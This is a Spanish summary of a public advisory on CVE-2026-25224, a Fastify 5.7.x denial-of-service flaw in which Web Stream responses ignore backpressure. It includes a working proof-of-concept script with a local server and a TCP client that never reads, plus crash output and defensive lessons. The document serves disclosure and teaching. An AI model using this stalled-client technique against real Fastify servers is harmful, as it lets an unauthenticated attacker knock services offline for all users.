Reports
ALTA[DENEGACIÓN DE SERVICIO]#3524779

Fastify acumulaba en memoria las respuestas con Web Streams al ignorar la contrapresión

Desde la versión 5.7.0, Fastify escribía las respuestas servidas como Web Stream sin respetar la señal de contrapresión. Un cliente que pedía un endpoint de streaming y no leía la respuesta obligaba al servidor a acumular datos en memoria hasta quedarse sin ella.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Fastify incorporó en la versión 5.7.0 soporte nativo para respuestas basadas en Web Streams, a través de la función sendWebStream en lib/reply.js. Esa implementación lee datos del ReadableStream y los vuelca en la respuesta HTTP, pero no comprueba si el destino puede seguir el ritmo: descarta el valor que devuelve res.write().

En Node.js, res.write() devuelve false cuando el búfer interno ya está lleno. Es la forma estándar de aplicar contrapresión: la señal de que el productor debe esperar antes de escribir más. Al ignorarla, Fastify encadenaba la siguiente lectura del flujo de inmediato, sin importar cuántos datos estuvieran ya pendientes de enviar.

El resultado es que un productor rápido (un fichero, datos generados al vuelo) conectado a un cliente lento o parado va acumulando todo el flujo en la memoria del proceso. El fallo se clasificó como CWE-770 (asignación de recursos sin límites ni control) y recibió el identificador CVE-2026-25224, con severidad Alta (CVSS 7.5, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

El punto vulnerable es el encadenamiento de lecturas dentro de sendWebStream, donde la escritura no condiciona la siguiente lectura:

// Vulnerable implementation in Fastify v5.7.x
function onRead (result) {
  if (result.done) {
    // ...
    return
  }
  // VULNERABILITY: Return value of res.write is ignored!
  res.write(result.value)

  // The next read happens immediately, regardless of buffer state
  reader.read().then(onRead, onReadError)
}

Pasos de reproducción

Hace falta un servidor Fastify en versión 5.7.0 o posterior.

  1. Crear una carpeta e instalar fastify:
mkdir fastify-oom-poc
cd fastify-oom-poc
npm init -y
npm install fastify@latest
  1. Crear un fichero reproduce_oom.js con un endpoint que responde con un Web Stream infinito y un cliente que abre la conexión pero nunca lee la respuesta:
'use strict'

const Fastify = require('fastify')
const { ReadableStream } = require('node:stream/web')
const { connect } = require('node:net')

// Initialize Fastify
const fastify = Fastify({ logger: false })

// Define a route that returns an infinite stream using Web Streams
fastify.get('/stream', (req, reply) => {
  const stream = new ReadableStream({
    pull(controller) {
      // Push a 1MB chunk.
      // In a secure implementation, this should pause when the buffer is full.
      // In Fastify v5.7.0+, this keeps getting called indefinitely.
      controller.enqueue(Buffer.alloc(1024 * 1024, 'a'))

      // Log memory usage to demonstrate the leak
      if (Math.random() < 0.05) {
        const usage = process.memoryUsage().rss / 1024 / 1024
        console.log(`[Server] Memory usage: ${usage.toFixed(2)} MB`)
      }
    }
  })

  return reply.send(stream)
})

async function run() {
  try {
    const address = await fastify.listen({ port: 0 })
    const port = fastify.server.address().port
    console.log(`Server listening on port ${port}`)

    console.log('Connecting malicious client...')
    // Create a client that connects but stops reading after the initial request
    const client = connect(port, 'localhost', () => {
      // Send a minimal HTTP request headers
      client.write('GET /stream HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n')
    })

    // CRITICAL: We intentionally DO NOT add a 'data' listener to the client.
    // This causes the TCP window to close, signaling backpressure.
    // Fastify ignores this signal and keeps buffering data in RAM.

    client.on('error', (err) => console.error('Client error:', err))

    console.log('Client connected and paused. Watching server memory usage...')

  } catch (err) {
    console.error('Error starting server:', err)
    process.exit(1)
  }
}

run()
  1. Ejecutar el script:
node reproduce_oom.js

El uso de memoria sube rápidamente hasta que el proceso cae:

Server listening on port 36451
Connecting malicious client...
Client connected and paused. Watching server memory usage...
[Server] Memory usage: 105.42 MB
[Server] Memory usage: 520.18 MB
[Server] Memory usage: 1540.66 MB
[Server] Memory usage: 2890.12 MB
<--- Last few GCs --->
[1234:0x5678]    15000 ms: Mark-sweep 4000.5 (4100.0) -> 4000.2 (4100.0) MB, 0.1 / 0.0 ms  (average mu = 0.123, current mu = 0.012) allocation failure; scavenge might not succeed
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory

El detalle que dispara el fallo está en el cliente: al no registrar ningún manejador del evento data, la ventana TCP se cierra y el cliente deja de aceptar bytes. El servidor debería frenar en ese punto, pero al ignorar la contrapresión sigue leyendo del flujo y encolando trozos de 1 MB en memoria sin parar.

Impacto

Un único atacante, con una conexión de red normal y sin autenticación ni privilegios, puede tumbar el servidor Fastify. Basta con pedir cualquier endpoint que devuelva un Web Stream y no leer la respuesta: el servidor acumula el flujo en memoria hasta agotar el heap y caer con un error de memoria agotada. Eso deja el servicio fuera de línea para todos los usuarios legítimos y puede suponer costes de reinicio o tiempo de inactividad.

Qué aprender de este caso

  • En cualquier código que canalice un flujo hacia una respuesta HTTP (res.write(), socket.write()), revisa el valor de retorno: un false significa "para y espera al evento drain". Encadenar la siguiente lectura sin mirarlo es exactamente lo que convierte un cliente lento en una fuga de memoria.
  • Al adaptar un ReadableStream de Web Streams a un Writable de Node, no reimplementes el bombeo a mano: stream.Readable.fromWeb() o pipeline() ya propagan la contrapresión. Cuando veas un patrón reader.read().then(onRead) que reencola la lectura incondicionalmente, sospecha.
  • Para encontrar fallos parecidos, mira las funciones de streaming añadidas recientemente (aquí, sendWebStream, introducida para dar soporte a Web Streams): una ruta nueva de envío en paralelo a la ya existente puede saltarse controles que la antigua sí aplicaba.
  • Al probar servicios de streaming, un cliente que abre la conexión y deja de leer (sin listener data) es una prueba reveladora: si la memoria del servidor crece sin tope en lugar de estabilizarse, falta el control de contrapresión.